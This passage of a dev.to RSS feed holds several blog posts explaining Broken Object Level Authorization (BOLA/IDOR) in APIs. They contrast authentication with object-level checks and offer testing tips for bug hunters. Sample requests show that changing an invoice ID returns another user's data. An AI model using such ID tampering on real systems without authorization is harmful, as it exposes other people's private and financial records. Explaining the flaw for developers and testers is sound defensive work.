&lt;p&gt;This failure class is officially called&lt;br&gt;
👉 &lt;strong&gt;Broken Object Level Authorization (BOLA)&lt;/strong&gt;&lt;br&gt;
(&lt;a href="https://owasp.org/API-Security/editions/2023/en/0x11-t10/" rel="noopener noreferrer"&gt;OWASP API Top 10 – API1:2023&lt;/a&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Developers Confuse These Two
&lt;/h2&gt;

&lt;p&gt;Because authentication is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Centralized&lt;/li&gt;
&lt;li&gt;Handled by frameworks&lt;/li&gt;
&lt;li&gt;Easy to test&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Object authorization is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Custom logic&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Different per endpoint&lt;/li&gt;
&lt;li&gt;Often rushed or forgotten&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most vulnerable APIs follow this flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Authenticate user ✅
2. Trust object_id from request ❌
3. Return data ❌
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real-World Vulnerable Example (IDOR)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/v1/invoices/8421
Authorization: Bearer USER_A_TOKEN
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"invoice_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8421&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"paid"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What went wrong?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication ✔️&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No ownership validation&lt;/strong&gt; ❌&lt;/li&gt;
&lt;li&gt;User accessed &lt;strong&gt;another user’s invoice&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a textbook &lt;strong&gt;IDOR vulnerability&lt;/strong&gt;&lt;br&gt;
(&lt;a href="https://owasp.org/www-community/attacks/Indirect_Object_Reference_Map" rel="noopener noreferrer"&gt;OWASP IDOR explanation&lt;/a&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  “But We Use UUIDs” (The Biggest Myth)
&lt;/h2&gt;

&lt;p&gt;Many teams believe:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“IDs are unguessable, so we’re safe.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is false.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UUIDs prevent guessing — not authorization bypass.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If the backend doesn’t verify ownership:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;UUIDs&lt;/li&gt;
&lt;li&gt;Hashes&lt;/li&gt;
&lt;li&gt;Encrypted IDs&lt;/li&gt;
&lt;li&gt;Base64 strings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…all fail equally.&lt;/p&gt;

&lt;p&gt;OWASP explicitly warns about this misconception&lt;br&gt;
(&lt;a href="https://owasp.org/API-Security/Project-Resources/" rel="noopener noreferrer"&gt;OWASP API Authorization Guide&lt;/a&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  Authentication vs Object Authorization (Side-by-Side)
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Authentication&lt;/th&gt;
&lt;th&gt;Object Authorization&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Question&lt;/td&gt;
&lt;td&gt;Who are you?&lt;/td&gt;
&lt;td&gt;Can you access THIS?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scope&lt;/td&gt;
&lt;td&gt;User / session&lt;/td&gt;
&lt;td&gt;Object / resource&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Frequency&lt;/td&gt;
&lt;td&gt;Once per request&lt;/td&gt;
&lt;td&gt;For every object&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Typical bug&lt;/td&gt;
&lt;td&gt;Auth bypass&lt;/td&gt;
&lt;td&gt;BOLA / IDOR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OWASP API Top 10&lt;/td&gt;
&lt;td&gt;Rare&lt;/td&gt;
&lt;td&gt;#1 issue&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h2&gt;
  
  
  Why Bug Bounty Hunters Love This Bug Class
&lt;/h2&gt;

&lt;p&gt;Because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Login systems are usually solid&lt;/li&gt;
&lt;li&gt;Authorization logic is not&lt;/li&gt;
&lt;li&gt;Mobile APIs leak more data&lt;/li&gt;
&lt;li&gt;Same object is often accessible via multiple endpoints&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s why &lt;strong&gt;BOLA vulnerabilities pay well&lt;/strong&gt;&lt;br&gt;
(&lt;a href="https://hackerone.com/hacktivity" rel="noopener noreferrer"&gt;HackerOne API reports&lt;/a&gt;)&lt;/p&gt;


&lt;h2&gt;
  
  
  How Secure APIs Should Do It
&lt;/h2&gt;

&lt;p&gt;Correct backend flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Authenticate user
2. Extract user_id / org_id from token
3. Fetch object from database
4. Verify object.owner_id == user_id
5. Return response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything less is a risk.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Mental Model (Remember This)
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Authentication lets you enter the building.&lt;br&gt;
Object authorization decides which doors you can open.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most APIs check the &lt;strong&gt;gate&lt;/strong&gt;, not the &lt;strong&gt;doors&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  If You’re a Developer or Security Tester
&lt;/h2&gt;

&lt;p&gt;Every time you see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IDs in URLs or JSON&lt;/li&gt;
&lt;li&gt;Filters like &lt;code&gt;user_id&lt;/code&gt;, &lt;code&gt;org_id&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Export / download endpoints&lt;/li&gt;
&lt;li&gt;Mobile APIs returning extra fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ask one question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Should this user be able to see THIS data?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That question alone finds real bugs.&lt;/p&gt;




&lt;h3&gt;
  
  
  Further Reading
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;OWASP API Security Top 10
&lt;a href="https://owasp.org/API-Security/" rel="noopener noreferrer"&gt;https://owasp.org/API-Security/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;OWASP IDOR
&lt;a href="https://owasp.org/www-community/attacks/Indirect_Object_Reference_Map" rel="noopener noreferrer"&gt;https://owasp.org/www-community/attacks/Indirect_Object_Reference_Map&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;RFC 7519 – JWT
&lt;a href="https://datatracker.ietf.org/doc/html/rfc7519" rel="noopener noreferrer"&gt;https://datatracker.ietf.org/doc/html/rfc7519&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>authentication</category>
      <category>apiauthorization</category>
      <category>apiauthentication</category>
      <category>apipentesting</category>
    </item>
    <item>
      <title>What BOLA Really Means in APIs (And Why UI Authorization Is Not Security)</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 02 Feb 2026 15:26:20 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/what-bola-really-means-in-apis-and-why-ui-authorization-is-not-security-25bg</link>
      <guid>https://dev.to/abhinavsingwal/what-bola-really-means-in-apis-and-why-ui-authorization-is-not-security-25bg</guid>
      <description>&lt;p&gt;If you work with APIs—especially modern REST or mobile APIs—you’ve probably heard the term &lt;strong&gt;BOLA&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It stands for &lt;strong&gt;Broken Object Level Authorization&lt;/strong&gt;, and it’s currently the &lt;strong&gt;#1 vulnerability in the OWASP API Top 10&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Yet, many developers still misunderstand it.&lt;/p&gt;

&lt;p&gt;This post explains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What BOLA &lt;em&gt;actually&lt;/em&gt; means&lt;/li&gt;
&lt;li&gt;Why UI authorization is not real security&lt;/li&gt;
&lt;li&gt;How this vulnerability appears in real-world APIs&lt;/li&gt;
&lt;li&gt;What developers and pentesters should look for&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Authentication ≠ Authorization
&lt;/h2&gt;

&lt;p&gt;Let’s start with a simple truth:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Just because a user is logged in does not mean they should access everything.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Most APIs do authentication correctly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JWTs&lt;/li&gt;
&lt;li&gt;OAuth tokens&lt;/li&gt;
&lt;li&gt;Session cookies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But &lt;strong&gt;authorization at the object level&lt;/strong&gt; is where things often break.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is BOLA?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Broken Object Level Authorization&lt;/strong&gt; happens when an API:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Accepts a valid object identifier (ID, UUID, hash)&lt;/li&gt;
&lt;li&gt;But &lt;strong&gt;does not verify&lt;/strong&gt; whether the authenticated user is allowed to access &lt;em&gt;that specific object&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The API trusts the object ID more than the user.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  UI Authorization vs API Authorization
&lt;/h2&gt;

&lt;p&gt;This is where most confusion comes from.&lt;/p&gt;

&lt;h3&gt;
  
  
  UI Authorization (Cosmetic Security)
&lt;/h3&gt;

&lt;p&gt;UI authorization usually looks like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Buttons hidden for non-admin users&lt;/li&gt;
&lt;li&gt;Pages not linked in navigation&lt;/li&gt;
&lt;li&gt;Disabled UI elements&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The “Download Invoice” button is hidden unless you own the invoice&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Problem:&lt;br&gt;
The backend API may still allow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/invoices/12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…for &lt;em&gt;any&lt;/em&gt; authenticated user.&lt;/p&gt;

&lt;p&gt;The UI hides features.&lt;br&gt;
The API still serves data.&lt;/p&gt;
&lt;h3&gt;
  
  
  API Authorization (Real Security)
&lt;/h3&gt;

&lt;p&gt;Proper API authorization means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every request checks &lt;strong&gt;ownership or permission&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Every object ID is validated against the user context&lt;/li&gt;
&lt;li&gt;The backend decides, not the frontend&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example logic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Does this invoice belong to the authenticated user?”&lt;/li&gt;
&lt;li&gt;If not → return &lt;code&gt;403 Forbidden&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Real-World BOLA Example
&lt;/h2&gt;

&lt;p&gt;Imagine a SaaS dashboard.&lt;/p&gt;
&lt;h3&gt;
  
  
  UI behavior
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You can only see &lt;strong&gt;your own invoices&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Other invoices are not shown anywhere&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  API request
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/invoices/78421
Authorization: Bearer &amp;lt;your_token&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You change the ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /api/invoices/78422
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the API returns &lt;strong&gt;another user’s invoice&lt;/strong&gt;:&lt;br&gt;
 &lt;strong&gt;That’s BOLA&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;No UI bug.&lt;br&gt;
No broken login.&lt;br&gt;
Just broken object authorization.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why APIs Are Especially Vulnerable
&lt;/h2&gt;

&lt;p&gt;APIs are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Directly callable (curl, Postman, Burp, mobile apps)&lt;/li&gt;
&lt;li&gt;Often reused across web, mobile, and integrations&lt;/li&gt;
&lt;li&gt;Designed for speed and flexibility, not safety&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Common developer mistakes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trusting IDs sent by the client&lt;/li&gt;
&lt;li&gt;Checking authorization only at login&lt;/li&gt;
&lt;li&gt;Assuming UUIDs are “secure”&lt;/li&gt;
&lt;li&gt;Relying on frontend logic&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Common BOLA Scenarios
&lt;/h2&gt;

&lt;p&gt;BOLA appears in many forms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Viewing another user’s profile&lt;/li&gt;
&lt;li&gt;Downloading someone else’s invoice&lt;/li&gt;
&lt;li&gt;Accessing another organization’s reports&lt;/li&gt;
&lt;li&gt;Seeing internal flags like &lt;code&gt;is_admin&lt;/code&gt;, &lt;code&gt;risk_score&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Accessing deleted or archived objects&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most of these bugs expose &lt;strong&gt;PII&lt;/strong&gt;, &lt;strong&gt;financial data&lt;/strong&gt;, or &lt;strong&gt;organization-level secrets&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;UI authorization is not security.&lt;br&gt;
API authorization must be enforced for every object, every time.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If your API accepts an object ID:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validate ownership&lt;/li&gt;
&lt;li&gt;Validate permissions&lt;/li&gt;
&lt;li&gt;Never trust the client&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  For Developers
&lt;/h2&gt;

&lt;p&gt;Ask yourself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Am I checking &lt;em&gt;who owns this object&lt;/em&gt;?”&lt;/li&gt;
&lt;li&gt;“Am I validating access on every endpoint?”&lt;/li&gt;
&lt;li&gt;“Would this endpoint still be safe without a UI?”&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  For Security Testers
&lt;/h2&gt;

&lt;p&gt;When testing APIs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always modify object IDs&lt;/li&gt;
&lt;li&gt;Compare responses field by field&lt;/li&gt;
&lt;li&gt;Test the same object via different endpoints&lt;/li&gt;
&lt;li&gt;Don’t trust UUIDs or hidden UI features&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;Most API breaches don’t happen because of weak passwords.&lt;/p&gt;

&lt;p&gt;They happen because &lt;strong&gt;the system trusts users with data they should never see&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That’s BOLA.&lt;/p&gt;

</description>
      <category>bola</category>
      <category>cybersecurity</category>
      <category>api</category>
      <category>apipentesting</category>
    </item>
    <item>
      <title>Understanding APIs Beyond the Textbook: A Bug Hunter’s Perspective</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 02 Feb 2026 12:00:26 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/understanding-apis-beyond-the-textbook-a-bug-hunters-perspective-faa</link>
      <guid>https://dev.to/abhinavsingwal/understanding-apis-beyond-the-textbook-a-bug-hunters-perspective-faa</guid>
      <description>&lt;p&gt;When people first learn about APIs, the textbook definition usually sounds something like this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“An API (Application Programming Interface) is a way for different software systems to communicate with each other.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;While this is technically correct, it doesn’t explain the full picture, especially if your goal is to understand API security or start API bug hunting. In reality, APIs are much more than just a communication layer—they are the backbone of modern applications and often the highest-value targets for attackers.&lt;/p&gt;

&lt;h2&gt;
  
  
  APIs Are Trust Boundaries
&lt;/h2&gt;

&lt;p&gt;An API is a direct trust boundary between the client (web apps, mobile apps, or other systems) and the backend services (databases, payment systems, or internal logic). Every API decides four critical things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Who can access it.&lt;/li&gt;
&lt;li&gt;What actions the user can perform.&lt;/li&gt;
&lt;li&gt;How much they can do.&lt;/li&gt;
&lt;li&gt;In what order actions are allowed.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If these rules are broken or incomplete, it can lead to serious vulnerabilities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why APIs Are Different from UIs
&lt;/h2&gt;

&lt;p&gt;Developers often think of APIs as clean endpoints that just return data in JSON format. From a security perspective, APIs expose the real logic of the application. Unlike the user interface, which hides complexity, APIs reveal how the application actually works. This is why most high-impact security bugs are found in APIs rather than frontends.&lt;/p&gt;

&lt;p&gt;For example, endpoints like /transfer, /refund, or /reset-password don’t just provide data—they execute important business logic. If an attacker can manipulate these endpoints, they can perform actions the system never intended them to.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Dangerous Assumptions
&lt;/h2&gt;

&lt;p&gt;Developers often assume certain things about API usage, which can be exploited:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The frontend will never send unexpected parameters.&lt;/li&gt;
&lt;li&gt;Certain endpoints are only called internally.&lt;/li&gt;
&lt;li&gt;Mobile apps cannot be modified or abused.&lt;/li&gt;
&lt;li&gt;Users will only follow the normal workflow.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Breaking any of these assumptions is often the key to finding business logic vulnerabilities in APIs.&lt;/p&gt;

&lt;h2&gt;
  
  
  APIs Are Often State Machines
&lt;/h2&gt;

&lt;p&gt;Even though REST APIs are designed to be stateless, real-world APIs track user actions, payment status, workflow steps, and more. When state transitions are not properly enforced, attackers can skip, repeat, or reorder steps, which often leads to security issues.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why APIs Are Attractive to Bug Hunters
&lt;/h2&gt;

&lt;p&gt;APIs are a high-value target because they:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Are less protected than frontends.&lt;/li&gt;
&lt;li&gt;Contain complex authorization and authentication logic.&lt;/li&gt;
&lt;li&gt;Handle sensitive actions like payments or user data.&lt;/li&gt;
&lt;li&gt;Often have incomplete or inconsistent security checks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most major security breaches today involve API vulnerabilities. This is why understanding APIs deeply is essential for anyone interested in bug bounty programs or pentesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Think About APIs While Testing
&lt;/h2&gt;

&lt;p&gt;Instead of asking, “Is this endpoint vulnerable?” a security researcher should ask:&lt;/p&gt;

&lt;p&gt;“What assumptions does this endpoint make about me and the data I can access?”&lt;/p&gt;

&lt;p&gt;This mindset helps uncover flaws that automated scanners or superficial tests often miss.&lt;/p&gt;

&lt;h1&gt;
  
  
  WebSecurity #Pentesting #BugBounty #CyberSecurity #YogSec #APISecurity
&lt;/h1&gt;

</description>
      <category>apisecurity</category>
      <category>bugbounty</category>
      <category>webdev</category>
      <category>pentesting</category>
    </item>
    <item>
      <title>BugBoard: I Built a Dashboard to Make Bug Bounty Hunting Less Painful

Bug bounty hunting isn’t hard because of lack of tools.
It’s hard because of too many tools, too many terminals, and zero structure.</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 26 Jan 2026 16:16:17 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/bugboard-i-built-a-dashboard-to-make-bug-bounty-hunting-less-painful-bug-bounty-hunting-isnt-17j7</link>
      <guid>https://dev.to/abhinavsingwal/bugboard-i-built-a-dashboard-to-make-bug-bounty-hunting-less-painful-bug-bounty-hunting-isnt-17j7</guid>
      <description></description>
      <category>productivity</category>
      <category>security</category>
      <category>showdev</category>
      <category>tooling</category>
    </item>
  </channel>
</rss>
